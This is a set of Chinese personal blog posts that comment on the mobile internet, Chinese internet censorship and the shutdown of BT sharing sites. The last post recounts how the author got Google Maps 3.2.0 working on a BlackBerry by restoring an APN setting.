前些日子的某一天,在KFC低头吃汉堡时恰好看到餐盘里的宣传广告上有KFC组织的3人篮球赛广告,其中写着“及时分享你的照片”(大意)到某门户网站云云。当时就很不以为然,我可是只用我的flickr的,谁会把照片放到别处去呢。然后就是低头习惯性的用手机看推,就在这时,我突然发现,现在已经是移动互联网时代了,we2.0神马的正在成为浮云。

技术的发展总是不以人们的意志为转移,早古之前的互联网,当时web一出,谁与争锋,以HTML为基础的网页迅速成为上网的代名词。而此后以blog和SNS为代表的web2.0,以用户产生内容和网络社会化关系为核心迅速颠覆了之前用户单方面被动接受资讯的局面,形成了围绕人为核心的社会化网络,人人都有话语权的梦想突然就展现在了眼前。本来,行家们认为接下来的时代是web3.0时代,就在大家还没争论明白web3.0的要素到底是些什么的时候,一个以手机等移动终端为核心的移动互联网时代却已经到来,以手机应用为主的twitter等的大热使得每一个人都可能成为一个消息来源的中心,或许这就是之前所谓的web3.0?在移动互联网时代,消息的发布与传播比web2.0时代快速了许多倍,web2.0时,一篇blog 的撰写可能需要半个小时,一个小时甚至更长时间,而在现在,一条推特不过140字,几分钟、最多十几分钟就能搞定,转推更是几个操作ok的事情。

其实我更期望未来的web x.0,能够把消息的发布速度提升到极限,让我们用意念来发推吧!打字还是太过麻烦了。

前面说到flickr,这么好的一个照片分享网站,一直觉得他在移动时代发展得太缓慢了。这两天还在奇怪这个问题,没想到就已经有了答案。说到移动时代的拍照与分享,我其实一直希望能有这么一个手机应用。这个应用负责手机“咔嚓”一声拍照后的工作,包括上传到flickr之类的网站并分享到twitter,甚至可以包括简单的图像处理。最重要的是,这个应用所有的这些工作是自动完成的,也就是说,当手机咔嚓一声响过后,照片就会按照你预先设计好的流程直接发布出去,完全不需要在进行任何操作,你只需要专注于你的拍照工作就可以了。这种应用尤其对于一些突发状态下会有意想不到的效果。

好吧,以前一直纠结于不能把4sq的check in与拍照结合,现在4sq已经支持照片上传,我又纠结于4sq不能与flickr完美结合,现在还真有这么个应用来解决我的需求了,听说还挺受欢迎。

只是中国的互联网从web一直走到如今的移动互联网时代,GFW一直如影随形,扼杀了不知道多少创意。今天发现手机上的google map不能用了,google.com也不能用了。感谢国家!

脑残何其多

脑残的广电总急利令智昏,用视听许可证干掉了BTchina为首的一系列Bt网站,今天veryCD又操蛋的歇菜了。CCTV的手机色情节目更是让数万的无辜网站惨遭毒手,虽然大多数手机上网的老网民都没见过手机色情网站。今天的焦点访谈又开始折腾域名了,不知道又回引发什么连锁效应?被点名的CNNIC,中科院计算机网络中心又将如何猥琐的折腾?

虽然说BT方式只提供种子,没有直接提供视频,游走在侵权边缘。但是用视听许可证来攻击,未免也太猴急了。但是P2P是网民武器,想要弄死没有这么容易。p2p的分享有太多的方式。P2P的口号是“我们之所以创造它是为了快乐和知识,而不是为了金钱。”向钱看的广电总急我们不会放在眼里。只是广电现在势头强尽,在CCAV的淫威下各个机构都跪地求饶,丝毫没有反抗的力量。甚至系列节目中漏洞百出的解说,也无人敢于置喙,只有P民们在嗷嗷。

我同意的是这样的观点:“必须给私人道德与不道德留下一定余地,而这些,用简单而粗鲁的话来说,不干法律的事。”当法律的大棒和道德的内衣纠缠在一起,就如同功夫网将网络安全与内容审查混为一谈一样,一切都只是为了利益,没有我们P民什么事。更遑论什么技术中立和网络中立,在我国,没有这种说法。

克莱斯勒最新的广告“无墙的世界”或许正好为此做上一个有趣的注脚。2009年的中国正在走向1984:

你能建起隔离城市和人民的墙

但无法隔离自由

因为自由总能找到建立和平的通道

VeryCD全站压缩包: ed2k://|file|verycd.zip|72010046|33DC293268E2BA4EE878BAA7D198C1EB|/

大家都把自己的p2p打开吧,让大家互相共享资源。这是我们对他们的回应。

脑残现在是越来越多。最近单位收了无线路由。据说是因为领导不知被谁忽悠,说中关村200多一个蹭网器就能侵入WIFI,直接登入内部的OA系统里面,盗走商业机密。他居然相信走wifi就能直接侵入OA,而走有线局域网就不会!更甚者,比CCTV还脑残的领导,居然相信有人能够用某种仪器从电脑旁走过,就把硬盘上的数据全部拷走。您是《越狱》看多了吗?

最后奉上小儿的处女作,脑残淫湿一首:

鸡鸡像山峰
守在屁股前
屁股喷石头
鸡鸡流水珠
像火山爆发

解决黑莓手机无法使用google map3.2.0的办法

都说中国是块神奇的土地,什么事情都有可能发生。这次就让我碰到了一件如此神奇的事情。

google前些天推出了黑莓版的googl maps 3.2.0,增加了不少功能。但是我装上后却根本不能使用,折腾了半天,发现即使卸载掉3.2,重新装回旧版,连原来能够使用的旧版也不能用了。在网上查了一下,发现很多黑莓用户都有这个问题,主要集中在北京地区的用户。安装好gmap后,第一次启动时进度条会停留在1/4处就不动了,过一会会弹出一条消息:

提示:无法建立网络连接:此应用程序需要数据连接,某些黑莓设备需要重新配置才能正常运行。有关详情,请通过计算机访问www.google.com/gmm

然后软件就自动关闭了。下次启动仍然是这样。下面是英文版的截图:

在论坛上看到有人说去国贸附近用一次就可以解决这个问题,但是这实在太匪夷所思,实在令人难以置信。然而过了两天,再一次在论坛上看到有人说去天坛附近也可以,看来真的是基站问题?

今天下午闲来无事,抱着宁可信其有的态度,坐4号线地铁直奔城南,一路上不断测试google map是否能够使用,但是都不行,本来想换地铁去天坛,但是想想4号线到陶然亭,那里离天坛也不远,或许可以。但是到了陶然亭,测试了gmap,仍然无法使用。此时信心已经被打击掉大半,想想既然出来,干脆就再去天坛一趟吧。于是接着坐地铁,转乘到达天坛东门站。一路上测试gmap ,让然连不通。

神奇就在这里,一到天坛东门,手机居然cmnet不能用了,这下子急坏了,gmap要用cmnet,可是关键时刻掉链子,那不白跑了?于是在地铁月台里坐下,折腾手机。折腾一会儿才发现,这两天为了折腾gmap,曾经把APN中的cmnet给删掉了。以前手机不用填cmnet,也一样可以用cmnet,但是大约半个多月前,突然手机怎么用不了cmnet,最后是填上cmnet才好用的。而今天一路上用手机测试gmap,因为8900有个经常断网的毛病,因此每次测试gmap之前,都要开一下operamini测试一下cmnet是否可用。但是一路上联网状况都很正常,只是一到了天坛,cmnet就不能用了。在APN中填上cmnet,手机马上就恢复了联网状态。于是打开gmap,激动的一刻来临了!gmap神奇的能够使用了!

在回家的路上,又测试了几次gmap,生怕离开天坛,又不能用了。结果发现,果然如网上所说,再也没有出现不能使用的情况。

综上所述,这很可能是北京移动的基站问题,个人感觉可能是很多移动基站的DNS解析出了问题,因为google map开启要连接一个google服务器,很可能是基站的DNS解析无法解析这个域名,而天坛附近的基站则可以解析,而黑莓有DNS缓存功能,解析成功一次后,就会缓存在手机里,因此到了别处就也能正常使用gmap了。

个人猜测或许是最近北京在大量更新基站设备,引起了上述问题?(会不会和这次扩容有关?)对于无线通信一点不懂的我,不知道上述的猜测是否正确?

呵呵,这个基站激活功能实在是有够神奇的呀。另外,我装的是中文版的gmap3.2,在第一次初始化时,说有wikipedia图层,可是进去后,在图层选项里却没有找到wikipedia图层,难道只有英文版才有?

————————————-

更新:未到第4天,又出现断网了,看来这个sb也是不行。

这次gmap问题,连带出另外一个问题。很多8900的一个老毛病就是cmnet很容易断网。修复的办法就是拔电池重启。在讨论gmap的论坛里,有位朋友提供了一个sb,号称能够解决gmap问题,但是试用了这个sb后,发现gmap问题不能解决,倒是装了这个sb后,至今已经有2天,8900居然没有一次断网(不算在天坛的断网),或许这个sb能够解决断网问题?下面是这个SB的截图:

与我原来的sb只多了一个CMCC NET。(这里下载这个sb)只希望再过几天还不断网的话,那就证明是sb的问题了。